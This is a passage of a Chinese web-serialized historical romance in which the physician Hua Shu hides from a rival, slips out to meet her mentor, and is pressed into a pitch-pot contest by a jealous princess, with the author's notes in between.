绑匪共两人。小沙弥当日已伏诛,另一个事后核实,乃是皇龙寺后山的守林人。 只从守林人的口中拷问出,家里老母亲病重,拿了小沙弥的银两受雇绑架华姝。 再想深究,守林人就咬舍自尽了。 华姝没能争回自己手指的主导权。 只好认真听他讲完,她默了默,“王爷,我有一个比较冒昧大胆的猜想,不知当不当讲?” 霍霆捏了捏她指尖,示意说下去。 华姝略作斟酌:“有没有可能,与杀害圆妙大师的是一伙人?” 霍霆动作微顿,“何以见得?” “那日绑匪的目标是我,刚巧圆妙大师遇害。我俩的共同之处是大夫,但我师父晚一日上山却无事,所以症结在前一晚。” “当晚您与人交手后受伤了,对方恐是想借我二人之口,探您是否腿疾已愈。事实上,他们也变相测出了,引得圣上忌惮霍家而赐婚?” 闻言,霍霆怔了几息。 他下颌的线条像春溪破冰般缓缓舒展,放下素帕,抬手刮了刮她鼻梁,“小机灵鬼。” 其实,守林人受不住酷刑本有意招供,结果被蒙面人毒杀在狱中。 今日他刚收到的消息则是,圆妙的相好也被人毒杀,彻底闭嘴。 下毒手法相似。 “既是如此,您为何瞒我?”华姝狐疑。 因为对方的胃口远不止于此。 他是果,华家才是因。 霍霆不动声色,“就你这小胆子,连十字刑架都怕,嗯?” 华姝窘然。 “且在府上踏实猫着吧。”霍霆转回正题,轻轻揉开她拧紧的两弯细眉,“门外的牌匾已换作镇南王府,没我发话,谁都没资格赶你走。” 带有薄茧的指腹,粗粝而温热。 熨帖在华姝的眉头,磨人又酌心。 对搬离霍府一事,她是矛盾的。舍不得相伴多年的祖母和亲友,又唯恐这段不伦不耻的秘辛暴露,唯恐惹得两位公主不悦。 对这个男人,她也是矛盾的。人前的威严冷酷令她心悸,人后的纵容疼惜令她心颤……心安。 可圣旨如山,她若继续住在府上,“您已想到两全其美的法子了?” 华姝眼珠一瞬不瞬凝着他脸色,企图从中窥见一二分玄机。 霍霆意味一笑:“再等我些时日。” “……”谁要等他? 华姝赧颜地福了福身,转身往外走。 结果被人单手拎住后衣领,“你不等我,解毒一事该当如何?” 华姝动弹不得一点,又不好意思面对面与他聊这事。于是就背着身站在原地,红着耳根问:“林军医回来了?” 霍霆:“嗯。” “听闻,”华姝迟疑地试探道:“公主出嫁前,会先让陪嫁宫女来试寝。不若,顺便……?” 她实在想不出,他如何能不抗旨而取消婚约。既然娶公主是必然,不如两人早早断个干净,也免去无数的后顾之忧。 空气有一瞬的安静。 屋外万家灯火也寂寂无声。 静得人渐渐心发慌,华姝余光缓缓瞄向身后。 对上一双似笑非笑的黑眸。 霍霆甫一用力,她就被衣领拽入他怀中。背脊紧贴着他炽热的胸膛,烫得她忍不住心跳加速。 清凛的沉水香气也浓郁笼罩上来,喷洒在她耳畔,又湿又氧:“你适才说什么?我没听清。” 问话不疾不徐,但每一个字都像悬在华姝颈上的钝刀,分外磨人。 她瑟缩了下,“没……没什么。” “前两日的事,这么快就忘了?”隔着衣料,他掌心抚上她颈窝的守宫砂,慢慢碾磨。 动作轻柔,却每一下都像在撕扯她的心房。 华姝受不住地按住他手,咬了咬牙:“如今情势不同以往,还请王爷三思。” 霍霆反扣住她手,顺势将人扳过来,趴在他怀中,“没什么不同。是想等过几日尘埃落定再说与你,免得空欢喜一场。” “不过,”他低头瞧她,指腹抚平那秀气的鬓角,又抚上那秩丽的眉眼,“你约莫也不会欢喜。” “欢喜的。”华姝心虚垂眸,“您和祖母及府上的人都能万安,我自是欢喜。” 他勾起她下巴,对视,“我是这意思吗?” 他又道:“一个月期限,过去六日了。” 华姝心跳更快,勉强迎上他的灼灼目光,“那到时,您打算怎么……” “长缨侍卫,老夫人让我来为王爷送膳。” 忽然这时,门外传来一阵交谈声。 长缨:“王爷公务繁忙,阮姑娘将膳食交与属下即可。” “食用药膳是有讲究的,王爷万金之躯,若因我一时惫懒生出差池,此事就不美了。”阮糖轻笑:“还请长缨侍卫,替我通传。” 一门之隔,华姝还趴在霍霆怀里。 她的心几乎要跳出嗓子眼,忙挣扎着环顾四周,要寻找藏身之处。 可这简陋的木屋里,除了满墙兵器,就是一张书案和一个半截矮书架,根本无处可躲。 华姝不得以,又祈求地看向霍霆,使劲摇头。 怎料,男人垂眼觑了她一瞬,面色不悦,缓缓启开尊口:“长缨,让她进来。”—— 作者有话说:今天也是没争到名分的四叔[狗头] 评论区继续掉落红包~ ***************************** 预收《沙漠越轨[先婚后爱]》求收藏 先婚后爱|暗恋成真|撬兄弟墙角刺激文学 傅景辞为了摆脱与梁知的联姻,不惜绝食相逼 “她一年有九个月都守着沙漠,那脸糙得还不如我脚后跟!娶她,除非我死!” 这说辞对父母管用,但面对哥哥傅闻洲,他心慌得一匹 傅闻洲耐心听弟弟说完,神色淡淡,却是回想起研究所去勘探时——梁知红裙雪肤,赤脚踏沙跳敦煌舞,美得勾人心魄 * 为了让傅景辞退婚,梁知装傻扮丑整整三年 恢复自由身当晚,恰逢研究所成功勘探到石油,她一高兴喝昏了头 迷迷糊糊钻错营地的帐篷,枕住一具滚烫的健硕胸膛 傅闻洲喝得也不少,但没到认不清人的程度 他本可以及时纠正这场错误,扶她回去 可当掌心触及那潮红的滑腻脸蛋时,忽而滞住一瞬 然后翻身吻了上去 第34章 她蜷坐在他腿间 “吱呀——”长缨听令推开门。 阮糖从丫鬟手中接过托盘和食盅, 娉婷袅袅地走进来。她将托盘轻放到书案上,后退一步,盈盈福身行礼。 “阮糖见过王爷。”声音软得能掐出水。 此时的华姝罩在一张薄毯下,抱紧霍霆的腿, 脸颊枕膝, 艰难蜷坐在他脚上。唯恐蹭到什么不该碰的, 她是一动不敢动。 这人绝对在报复她。 说什么“母命难违”,故意借机折磨人。 华姝眼朝书案, 透过毯子薄薄的钩织缝隙,隐约能瞧见阮糖的一点模糊轮廓:身上襦裙,从上午的绛紫色换作了藕粉色。 头顶上方,传来男人淡漠的问话:“阮姓,你是……三嫂的娘家人?” 阮糖面色一晒,旋即又落落大方笑道:“回王爷,正是。我乃勇毅侯嫡次女,府上三夫人乃是我表姐。论辈分的话,我该唤您一声四表兄。” 借着介绍身份的时机, 阮糖讲清家世和辈分。不着痕迹地暗示, 她比华姝更能为他带来助力, 更少招致叔侄不伦的流言祸语。 霍霆不置可否,“母亲缘何让你来送药膳?” “回王爷的话, 我下午陪老夫人打叶子牌解闷来着。老夫人偶然提了两回晌午的药膳, 像是没吃尽兴。”阮糖小心瞧着他脸色, “我左右闲来无事, 晚间多做了些药膳。老夫人得知您今日回府,就匀了一半命我送来。” 书桌下,华姝皱了皱眉。联想起晌午她让白术送去厨房的药膳, 预感不妙。 果然,霍霆声音微沉:“晌午做了何等金贵的药膳,竟连母亲都吃不尽兴?” “原是姝儿的一番心意,送了些药材到厨房煲汤,分与各房清肝败火。但是,”阮糖缓缓转了话锋:“但是玄哥儿近日病着,老夫人慈爱,便让那汤先紧着玄哥儿了。” 闻言,华姝顿觉后脊一凉。 霍霆手指看似扣膝,实则隔着薄毯一下下点着她脸蛋,嗓音又不悦几分:“是么,药膳对玄儿可还管用?” “有些妙用。”阮糖欢喜描述道:“玄哥儿喝过药膳后,身子明显爽利了,大嫂也跟着开怀不少。” 华姝听得越发紧张。 她明显感觉霍霆的周身气息沉了又沉。 此刻,他手指已逡巡到她锁骨,似乎稍一用力,都能扼断她的喉咙。 阮糖也微有感应,瞅准时机,上前掀开食盅的盖子,“这么好的药膳,府上独独王爷没喝到,着实可惜。” 她含羞关切地瞧他一眼,垂眸软语:“我和老夫人都觉得,合该也请您进用些,滋补身体。” 怎料,“端走。” 阮糖诧异:“王爷说什么?” “端走。”霍霆加重语气,“本王不喜药膳,以后别再来送。” 阮糖笑意僵住,不甘心就这么草草出门,“不若王爷浅尝一口?这药味不重的……” “长缨!”霍霆提声。 长缨随即推门进来,“阮姑娘,请吧。” 阮糖急得红了眼圈,但见霍霆不为所动,也不敢再在他面前乱了分寸和印象,只得端起托盘,悻悻走出去。 从始至终,未发现房中还有第三人。 就连长缨关门时,也不禁纳闷。 咦,表姑娘何时离开的? 害他还担心了好半晌呢。 关门声熄灭,华姝提着的心才放下一半,她扶着书案慢慢起身,尽量与霍霆避开距离。 结果他甫一伸手,就将她摁在腿上。华姝下意识想挣脱,腰肢反被摁得更紧。 黄昏木屋,烛火摇曳,光影交织间,斑驳墙壁染上一层暖橘调的光晕。 男人粗粝的大掌,有一下没一下地捏着她颈窝,情绪不明地回味道: “姝儿的一番心意。” “玄儿的身子明显爽利了……” 华姝的颈窝一向敏感,偏这人力道还三浅一重的,来回勾着磨人。 不过三五个回合,她就被揉捏得急促喘息起来,心跳砰然,不能自已。 华姝慌忙按住那只作弄的大手,在他深邃的眼里,瞧见自己眸中泛起的水雾,像春湖被风拂过的涟漪,羽睫孱颤,“府上各房都有送的。” 霍霆颔首:“府上人人皆有,独我没喝到。” 华姝顶着那股隐隐加重的压迫感,“您午间不在府里。我这就回去择选最上乘的药材,命人拿去厨房,专门给您做一份。” 说罢,她欲借机起身,怎奈腰间另外那一只铁臂,如烙铁般将她钉回原处。 霍霆俯身压下来,华姝忙不迭抵住那坚硬的胸膛,只觉连他气息都笼罩上一层浓郁的阴影。他目光沉沉,洞穿力极强:“你惯是会避重就轻。” 看得华姝喉头干涩,垂眸不敢接话。 本以为赐婚圣旨已下,他多少会顾忌些,她就能借此搬回华府,远离是非。但显然,他不打算放手。 一个月的期限眨眼即逝,她不能再坐以待毙。华府不能回了,身边还有暗卫盯着,她在燕京城认识的人又极少……有了,可以求助师父! 华姝眉心缓缓舒展。庆功宴那日,府上的人员冗杂混乱。她正好能借机避开暗卫,乔装出去与师父见面。 日落月升,窗边那一丝碧色余晖,换作清冷月光。 霍霆紧紧盯着身下的人许久,见她沉默不语,不算温柔地抬手掐鼓她两颊,“就这么放不下他?” 华姝回神,后知后觉他是误会了,轻声解释:“没有,前几日就与表兄说开了。早间千羽表姐来寻药,我就想着,也算答谢表兄替我在二伯母面前说话。” 霍霆:“既然说开了,就早点断个干净。” 华姝无声瞥一眼两人无缝贴合的亲密姿势,扁嘴,明明跟他也说开了的。 霍霆瞧在眼里,意味不明地哼了声。 见他脸色稍有和缓,华姝又试着轻推下那宽厚双肩,两弯细眉微凝,“王爷,我腿麻了。” 霍霆松开手,扶她缓缓站起来。 华姝福身,“那我就先回去了。” 行至门口时,却听见:“药膳别做太甜的。” 她回身,“您不是不喜食药膳么?” 霍霆板脸不语。 这反应,像极了她央求他别放阮糖进来时的表情,华姝了然。 “每房都有,确实不好落下清枫斋。”她状似善解人意地点点头,“既然您不喜药膳,那就送与长缨侍卫喝吧,还有濯缨和那些暗卫。” “……” 向来八风不动的霍霆,难得被这话结结实实地噎了下,他语塞一瞬,失笑:“明知故犯。” 华姝的话一出口,就后悔了。眼前之人作为仅次于大昭天子的尊贵存在,她多次告诫自己该与他划清界限,至少该像敬畏二叔他们一般敬畏他,时刻规行矩步。甚至是像华羽表姐那般,每次远远望见他,就战战兢兢躲开老远。 可最近在他面前,她总会不自觉耍起小孩脾气……再这般下去,两人的关系越发说不清了。 思及此,华姝忙要行礼告罪。还没开口,就见霍霆眉骨的细疤微微一凛,“再刻意计较,才真要治你的罪。” 华姝张了张嘴,一时也有点语塞,她缓了缓:“那我这就去让膳房做。” “谁做?”霍霆状似不经意地问。 “……我。” * 转眼十月初,天朗气清,秋宴流金 是日的霍府朱色铜钉大门前,华顶云锦的车轿再度连绵不绝。 府内以秋菊点缀,忽有风过,檐角铜铃与丝竹和鸣,满庭的菊影簌簌摇金。 女眷们相约在西侧戏台下,台上婀娜的青衣正婉转吟唱,水袖甩过处惊起一片喝彩。 今日来的女眷非富即贵,大夫人尚且落座在老夫人后一排。轮到华姝几人,需得再后面一排。 趁众人看戏正欢,华姝低低向大夫人知会一声“身子不适”,就悄然离席。 她以帕子掩面,轻咳着走进湖边的水榭。而后,半夏以帕子掩面,轻咳着走回月桂居,引开暗卫们。 华姝略等了会,外罩一件男子制式的月白披风,帽檐低垂着穿过人群,出了角门。 前后一炷香的光景,戏台上已唱起《狸猫换太子》。 宴酣戏浓,无人在意此等小插曲。 直到,福佳公主携韶华公主来访。 二人金凤衔珠冠铃铃细响,流光锦裙裾摇曳,鞋面缀着的东珠熠熠耀眼。 皇室天威煌煌,令女眷们不自觉屈膝见礼,数十人浩浩荡荡伏跪满地。 她二人却未敢倨傲,向霍老夫人规规矩矩行了晚辈礼。 韶华公主清冷:“未下拜帖就突然造访,多有叨扰。” 福佳公主欢脱:“小姑姑原是交代过,我不慎给忘了。还望老夫人勿怪,福佳给您赔礼了。” 老夫人慈笑:“两位公主肯赏光莅临,已是霍府蓬荜生辉。公主快请上座。” 两人一左一右落座在老夫人身侧。 原本专心看戏的女眷们,这会都争相逗趣,有意献好,宴会愈发喜庆热闹。 霍千羽偷瞄福佳公主,刚及笄一小丫头说话笑嘻嘻的,瞧着还算好相与,应是不会为难姝儿吧。 阮糖的目光落在韶华公主身上,冰肌玉骨,眉眼间的清冷气韵好似梅尖新雪。阮糖瞥了眼华姝空荡的坐席,开始若有所思。 老夫人自知公主不是来瞧她这老婆子的,略听完两出戏,笑说:“姑娘们别拘着,各自去赏花玩吧。” 十几位妙龄女郎盈盈拜别,簇拥着两位公主往湖边而去。云鬓环钗,环肥燕瘦,花红柳绿,所过之处皆自成一道绝美风景。 沿路,不时有贵女翘首顾盼,说是赏花望景,实则皆心系着那一人。 虽说王妃之位已定,但两位侧妃尚且空悬。以霍家今日之势,以镇南王多年高山景行、洁身自好的品行,若能有幸相伴在侧,连带着整个家族无上风光。 清冷如韶华公主,心跳亦跃跃怦动。 前几日早朝时的宫道上,她只曾远远得见镇南王。百官朝服大差不差,独他高大魁岸,龙章凤姿,让人想认错都难。仅一面,就深深刻进她脑海。 此时的湖心亭,数十位朝廷三品以上大员,正在列席对饮。 首位上,霍霆大马金刀而坐,高举酒樽豪饮。虽未佩刀戴盔甲,周身的气场亦是浑厚逼人。 贵女一行人路过时,福佳公主忍不住驻足,惊叹:“竟然连冯老太师都出山了,王爷好大的面子哟。”她打趣地瞧一眼韶华公主。 韶华公主微点头,“是啊,冯老太师年近古稀,已鲜少有人能请动他老人家了。” 众女闻言,对这位英武不凡的镇安王,越发肃然起敬。 阮糖则注意到,平日在家中说一不二的父亲,此时列席在尾,正举杯朝霍霆谄笑说着什么。 她望向霍霆身侧空悬的位置,紧紧凝视许久,瞳孔里淬满灼热的贪念。 “看过来了,看过来了!”福佳公主又是雀跃低呼:“小姑,王爷在看你呢。” “胡闹,怎可打趣王爷?”韶华公主轻斥了句,雪靥微红着,率先移驾别处。 其他人见状,只好依依不舍地跟上。 湖心亭内,霍霆不经意瞥见一群光彩夺目的姑娘。大多是陌生面孔,远来皆是客,他不甚在意她们来此的初衷。 他也依稀能辨认出俩侄女和那个阮家女,独那一抹姣姣姝色,瞧了又瞧,都不在其中。 思及前几日的满城风言,霍霆眉峰微动,朝身后吩咐:“去瞧瞧是何故。” 长缨意会:“是。” 静月水榭 以两位公主为首,十几人围坐成一圈,说着近日燕京城的趣事。聊聊哪家首饰铺子出了仙品,哪家千金高嫁候门。 不远处的堤岸上,几排翠竹葳蕤,霍玄等一众青年俊杰,正聚在石桌旁,轮番掷着菊花令。 玉盏叮当溅出诗三首,广袖翻飞间碰落几瓣香。 福佳公主视线透过半掩的小轩窗,目不转睛瞧着,白衣少年谈笑翩翩,越瞧越养眼夺目。 她忽而想到什么,回过头来环顾众人,“听闻霍府有位华氏女神医,不知是哪位?” 霍千羽心头微沉,暗幸华姝身体抱怨没撞上。她放下白玉茶盏,朝上首笑道:“回公主的话,华家表妹今日身子不适,未能入宴。” 福佳公主闻言,意兴阑珊地蹙起蛾眉 这时,另有贵女搭话:“我也曾几番听闻,这位华氏女的医术了得,当真有传闻中那般奇效?” 阮糖瞅准时机,掩唇一笑:“这你就有所不知了,华姝人如其名,姿容姝丽,医术殊妙。” “哦?”福佳公主面色微凉,“她既是医术精湛,想必小病小痛的早就药到病除了。” 她随手指了个宫女,“你去,召她过来。”—— 作者有话说:本章评论区掉落红包 笔芯~ ****************** 很抱歉,让大家等了好几天 [求你了]我终于改好了 1、调减:华父医书相关情节,要后移几章 2、调增 31章:裴夙颁旨时,就姝儿婚约,进一步阴湿发疯 32章:婚约引起新的流言蜚语,四叔霸气护妻 33章:逃婚+赐婚的debuff,深化了两人的立场矛盾 不太影响后续阅读,感兴趣也可以康康 特意去拔了火罐,好像大脑清透了些[求你了]我会争取尽早稳定更新的 第35章 她又被抓包了 琳琅缘 这是燕京城一家胭脂铺, 铺子主人正是华姝那位不着调的师父。分明是位大夫,却把胭脂铺打理得远近闻名,日进斗金。 前两日已让半夏过来悄悄递过话,店掌柜一瞧见华姝, 就亲自引路到那个师徒二人的专属雅间。 她将外罩的男子披风暂交与掌柜, 然后敲门进屋。 雅间内, 清甜果香四溢。 圆桌旁,乔装过的裴夙, 正挽着殷红色的浮光锦广袖,手拿精致小刀切水果。露出的半截白嫩小臂,线条紧实。 华姝坐到他对面,双眸明亮:“这么新鲜的杨桃可不多见。” “就得这么两个,知道你爱吃,都拿来了。”裴夙拾起象牙玉箸,夹起一片蘸了点蜜,喂进她嘴里。 “好甜。”华姝小口咀嚼完,幸福得眯眼, “您打哪得的?” “刚给个贵人老爷治愈了顽疾。”裴夙不着痕迹一笑, 转而问:“怎得会想要另办户籍, 霍家有人欺负你了?” “有祖母疼我,谁敢呀。”华姝对长辈一向报喜不报忧。 裴夙清楚她的性子, 目光探究:“可是为着近日京城的传言?” “……是也不全是。”华姝夹起一片杨桃蘸蜜, 放到对面的碧翠玉碟, “师父, 我记得您之前说,学医是为了医治自己。” 裴夙淡淡颔首。 是为医治自己不假,但非寻常病痛, 而是满身满身的皮开肉绽,旧伤未愈就再添新伤,连脸上也血痕斑驳。 不自医,只能变成一滩烂肉泥。 华姝歪头好奇:“那您云游多年后,还是这么想吗?” 裴夙垂眸,将整盘切好的杨桃都推给她,笑:“原是我在问你,如何又盘问起我来了?” “是我近日忽觉,思想颇有狭隘。” 华姝双臂叠放在桌上,坐姿端正而乖巧,“您也知道,我此前只专心医治千羽表姐一人。直到在回春堂诊治过上百名将士,对医者济世的使命有了新体悟。” “所以我想走出去看看,但祖母肯定不会同意的,只好出此下策。”她半真半假道。 裴夙挑眉,“在京城不也一样?” 华姝眼睫微眨,低头用玉箸拨弄着碟子里的杨桃,“我是想着,就像药圣孙先生游历四方著就经典一般,我也看遍世间百病,或许还能为表姐双腿寻得新的机缘。” 也或许,三五年后霍霆对她的心思就淡了。 裴夙静静瞧着对面的华姝吃完整盘的杨桃果片。小徒弟香腮一鼓一鼓的,舌尖不忘秀气地卷净玉箸上的蜜渍,像只偷到蜜的小仓鼠。 他单手支头,慵懒地瞧着。 阳光像融化的蜜糖,从窗缝里缓缓淌进来,映亮他半边玉颜上。 映照出,他瞳孔边缘泛起极淡的、近乎透明的涟漪,像砚台里将化未化的墨,突然坠入一滴清水。 “纵马踏遍九州雪,提剑敢摘天上月!” 死去多年的那个儿郎,也这般说过。 * 月桂居 半夏在寝房内佯装咳嗽,白术堵在门外天花乱坠地描述一番自家姑娘的严重病情,终于将那来传话的宫女给糊弄走了。 半夏打开房门,愁眉紧锁:“只怕这位福佳公主,不会轻易了事。” 白术也急得来回踱步,“那这该如何是好?姑娘到底是去哪了呀?” 果然,没过一会,月桂居的院门再度被敲响。竟是福佳公主,带着几位贵女气势汹汹移驾而来。 半夏何曾见过这阵仗?吓得忙跪地请安。 宫女命令:“公主仁慈,亲自来看望华姑娘,还不快叫她出来接驾?” 半夏战战兢兢,绞尽脑汁:“回公主的话,我家姑娘刚喝过药睡下了。” 几个贵女有意在福佳公主面前卖好: “先前派人来请时还能听到咳嗽声,没一会的功夫就睡了?” “若换作我,得知公主召见,可睡不踏实。” “能得公主屈尊降贵来慰问,我就是爬也要爬起来谢恩。” “禀公主,臣女略懂些药理。”霍千羽帮衬道:“这汤剂服下后,约莫个把时辰才会发挥药效,常致使人昏昏欲睡。” 半夏连忙附和:“正如大小姐所言,我家姑娘先前就已服药。唯恐在公主面前瞌睡失礼,才未敢前去谢恩。” 福佳公主闻言,轻抚了抚头上的金簪,似笑非笑:“霍府如此热闹,华姑娘若睡上一整天岂非可惜?我身边的陈嬷嬷也略懂药理,刚好能帮衬一二。” “老奴定为华姑娘尽力医治!”说罢,陈嬷嬷绕开半夏,冷脸大步,直奔寝房。 霍千羽不知内情,想着已经派双雨去请大夫人了,并未急着阻拦陈嬷嬷。 但半夏心中狂跳! 她不顾礼数想上前阻拦,却被两个宫女死死按住。 眼睁睁看着陈嬷嬷一步一步逼近房门,她的心快从嗓子眼跳出来了…… “吱呀——” 房门被从里面打开。 华姝裹着件芙蓉红锦缎披风,脸色苍白。她走到院中,盈盈福身,“民女华姝见过公主,公主万福金安。” 半夏虽是不解,但着实松了一口气。 其他人未察觉异样,目光更多落在华姝的脸蛋上。 桂花细碎的枝头下,少女螓首蛾眉,虽有几分病态,反倒显得楚楚动人,我见犹怜。 福佳公主微微眯眼,这狐媚子长相,也不怪驸马会被她迷了去。 其他贵女亦是左右相视,意味的眼神,不言而喻。 福佳公主没准允华姝起身,冷笑了声:“华姑娘不是病得起不来身了?” 华姝得体地维持住半蹲姿态,从容回道:“回公主的话,民女用了自家祖传药方,瞌睡来得快,好在疗效也显著。承蒙公主挂念,民女不胜荣幸。” 华家虽已倾覆,但百年杏林世家的名望却如雷贯耳。 饶是陈嬷嬷作为宫中老人,亦不敢轻易质疑。她把脉后,附耳禀告:“回公主,确是风寒之症的脉象。” 言辞挑不出错,礼数也分寸得当。福佳公主勉强摆了下手,“免礼。” 华姝谢恩起身,站到半夏身侧,安抚地拍了拍她手臂。 恰逢大夫人笑盈盈而来,“膳厅前准备了投壶比试,还算热闹,韶华公主和几位姑娘已先行过去,特命臣妇来请公主移步赏观。” 福佳公主自是不好给未来婆婆脸色瞧的,投壶不避男女,没准还能和霍玄说上话,她随即展颜一笑:“有劳霍夫人带路。” 于是一行人走出月桂居,华姝跟在最后。对上霍千羽狐疑的视线,她趁人不备,俏皮眨了下眼。 寒症假脉象的小把戏,她俩儿时偷懒想逃学时没少用。 出门后,意外撞见了长缨。 他向福佳公主见礼后,面朝大夫人,“王爷吩咐属下来跟您说一声,他与冯老太师临时相约对弈。请您正常开席即可,不必等他们。” 说罢,走进对面的清枫斋拿棋盘。 今日全场唯二尊贵的人物,不等他们就开席是不可能的。大夫人跟福佳公主略作交代,遂带人去告知二夫人。 ——哎?不对呀,澜舟为何不直接派人去与二弟妹说? 定是她在澜舟心中分量比二弟妹高。大夫人这般一想,心里美滋滋。 而剩下几人,亦是神色各异。 她们震惊地发现——这个之前谁都瞧不上眼的华氏女,竟与镇南王毗邻而居! 福佳公主走在最前面,扶着陈嬷嬷的手心直冒汗。万幸之前镇南王不在院中,没被她惊扰到。 后面的贵女,则开始有意无意地往华姝身边凑,争相谈笑,试图借她之口探得霍霆的一二分喜好。 华姝不骄不躁应对着,凡事涉及霍霆的话题,都浅浅摇头。 在旁人看来,两人俨然一副甚为不熟的样子。 实则,华姝此刻心中打鼓。 只怕霍霆这场对弈并非临时起意。 回来的路上,遇到去给她通风报信的白术。两人绕到院子后面,华姝用匕首射入围墙中间偏上位置,先踩住白术的肩,再借力匕首,艰难爬上墙头。 墙内有事先准备好的木梯,那是平时从药橱的高层抽屉取药用的。结果她正准备爬梯悄悄溜至后窗时,与守在屋顶的濯缨,远远打了个照面…… 落叶翻飞,风中凌乱。 华姝一想到那位沉下脸、不苟言笑的样子,不自觉攥紧了袖口。 * 湖心亭 西边戏台的女眷散场,这边的男宾也各自闲谈、逛园赏菊去了。只余霍霆与冯老太师,中间摆上棋盘,对面而弈。 细论起来,冯老太师在太学授课时,霍霆曾是他老人家的亲传弟子。只是如今霍霆以军功立世,许多人都渐渐淡忘了。 清风徐徐,湖面偶有涟漪。 冯老太师捋着花白胡须,落下一颗白子,“如今这局势,已对你形成合围之势。” 此刻的棋盘上,黑子从南方起势,牢牢盘踞。白子从西、北、东边环绕,三路包抄,攻势迅猛。 霍霆指间把玩着两颗黑子,瞧着那一颗深陷黑色、孤立无援的白子,“还是留了破绽的。” “是给你留了余地。”冯老太师喟叹了声:“那位韶华公主身后已无母家,待随你去了南边封地,也算是全了双方颜面,僵局变和棋。” 霍霆无言垂眸良久,最终用一枚黑子迂回砍断了一条白色包围线,离那颗白色弃子远远的,“倘若是您当年面临同样的抉择呢?” 冯老太师虽身居高位,实则是个耙耳朵,与冯老夫人的佳话足可百世流芳。两人的子女,亦是效仿父母遵从一夫一妻制,阖家上下其乐融融。 作为过来人,老爷子一下子嗅到猫腻,乐呵问道:“哟,哪家千金?” 霍霆眼前闪过那个总垂着眼睫轻声应好、青瓷般的眼波又转得滴溜飞快的姑娘,但笑不语,抬手点了点棋盘。 冯老太师低头一瞧:“哎哎哎!刚那颗棋子放错了,我重放,重放啊。” 如此这般,反反复复,最后达成平局 冯老太师闲散溜达去膳厅前,不忘拍了拍霍霆的宽肩,“棋艺小有进步,还需再接再厉啊。” 霍霆失笑应好。 萧成一早等候在湖心亭外,待四下无人后,近前禀告:“老大,我亲眼瞧着那一行人歇在了鸿胪寺的驿馆。礼部尚书和礼部侍郎都在咱这宴饮,约莫等会宫里就要来人了。” 霍霆颔首:“倒是准时。” “老大,要不要我提前去给嫂子透个口风?”萧成兴奋地摩拳擦掌,伸出两根手指,“必定好生为你美言几句。回头准我多休沐两日就成,嘿嘿。” 霍霆像看傻子似的瞥他一眼,也负手款步,往膳厅而去。 身后,“哦懂了!你是要亲自说嘛。” “明白明白,兄弟都明白啊——” 又有清风掠过,水面漾起细碎银光,几尾锦鲤忽地跃出,吐出一串晶莹的泡泡。 * 膳厅门前的空地上,众人围观着投壶比试,大伙各显神通,不时有人鼓掌叫好,氛围热闹非常。 唯独霍玄站在拱门前,不时翘首顾盼,心不在焉。 冯老太师的小孙子,冯衡乃是霍玄同窗,今日一道来此恭贺。他观察霍玄半晌了,“至于嘛?那位就算再骄纵,还能把你的心头好给吞了不成?” 霍玄望着远处,“你不懂。” 适才白术匆匆来找他救急,霍玄恨不得当即飞去月桂居。 然而刚踏出一步,脑海闪现接旨那日的情形、二夫人当众指摘华姝清誉的面孔,让他又艰难克制地收回脚。 情急之下,他想到了投壶这等宴饮时的寻常把戏,忙命小厮去给母亲递话,借此将月桂居的人都吸引过来。 小厮已去而复返,却始终不见福佳公主和华姝的身影,霍玄一颗心始终悬着。 “我是不懂。”冯衡随手把玩着一根箭羽,“她一介没了清誉的孤女,而你作为霍家嫡长孙,前途无限。真若喜欢,纳成贵妾也绰绰有余,何必……” “你无礼!” 霍玄皱眉打断他,还是头一次跟冯衡厉声重语:“你身为冯家子孙,怎会生出如此轻贱女子的想法?” “哎呀,你别恼啊。咱这不是就事论事嘛。”冯衡笑嘻嘻的表情收敛几分,“我冯家娶妻娶贤,自然一生礼重。但你那位表姑娘……是吧?” 霍玄气得换到木芙蓉树下等人,不再理他。 但冯衡性子随了他祖父,心宽体胖的,又巴巴追着霍玄贴上去,“好了好了,我不说了总成……” 话音未落,就见一群妙龄女郎自远处的假山穿行而过。推着霍千羽走在最后的红衣少女,盈盈细腰,裙角翻飞如焰,瞬间让他挪不开了眼。 她似在倾听霍千羽说着什么,听到妙处,忍俊不禁。 雪腮两朵梨涡浅浅,在海棠红色披风映衬下,亦如海棠般娇花照水,让满园秋菊失了颜色。 冯衡呆怔良久,也不舍得回眸,抬手扒拉两下霍玄的衣袖,“与你长姐相谈的那位姑娘,是哪家千金,怎得此前宴席上鲜少得见?” 霍玄自是不会回答这种问题,远远确认过华姝安然无恙,便眉心舒展,随众人去向福佳公主问安。 倒是他身边的小厮,在一旁早就气不过了,“那就是我们府上的表姑娘,为人低调,菩萨心肠。每年寒暑准备防蚊防寒的药包时,连我们这等奴才都人人有份哩!” 说完小头骄傲一甩,也迎了上去。 百年木芙蓉仍静静安立在原处,锦绣华盖,新蕾与残花同枝,恰似岁月与生机交织。 拱门处,众人齐齐向福佳公主问安。 华姝和霍千羽安静等在最后,待人群散开,两人继续沿着檐下,往膳厅门口走。 期间,好些世家公子的目光,若有似无落在华姝身上。像冯衡一般目露惊艳,甚至呆滞。 但听到旁人隐晦提及华姝身份后,又不禁连连摇头,“可惜了。” 唏嘘声不断传来,不说华姝,单是霍千羽就听了一肚子窝火。 显然,华姝此前装病,暂避风头最好 福佳公主偏要带她来前厅露面,就是为着借用旁人的异样目光——钝刀子锥心,杀人不见血。 霍千羽望着膳厅内乌泱泱的宾客,蛾眉微凝,“姝儿,祖母还未过来,咱去迎迎她老人家吧。” 怎奈两人没走开几步,身后响起福佳公主的声音:“华姑娘,可敢投壶比试一场?” 霍千羽眉头更紧,小声嘀咕:“她不是正缠着玄哥儿呢嘛,怎么又来找你麻烦?” 华姝轻叹了声,转身盈盈一拜,“承蒙公主抬爱,民女尚有风寒在身,恐会扫了公主雅兴。” 福佳公主却道:“不碍事,随便玩玩罢了。” 华姝还是犹豫。 福佳公主环顾一圈众人,状似天真无邪:“难道,华姑娘是不满意,我抢了,你的……” “请公主赐教。”华姝轻声打断她。 圣旨赐婚,谁又敢说一个不字? 福佳公主拍了拍宫女手中的酒坛子,意味一笑:“输的人可得全喝光哦。” 众人倒吸一口凉气。 那可是一整坛的烧刀子烈酒啊! 霍千羽皱眉。赢了公主是大不敬,输了公主又要罚得这么重。姝儿这次比试,根本是场死局。 冯衡也不禁鄙夷。说好随便玩玩,却将惩罚定这么重。这公主的心肠何其歹毒? 霍玄更是心急如焚,几番喉结滚动,终是欲言又止。在场谁都可以出言阻挠,独他失了资格。哪怕他满腹经纶,此刻皆是碎成齑粉。 霍玄欲再让小厮去请大夫人,却见华姝已步调从容站定在箭匣子旁,“请公主先。” 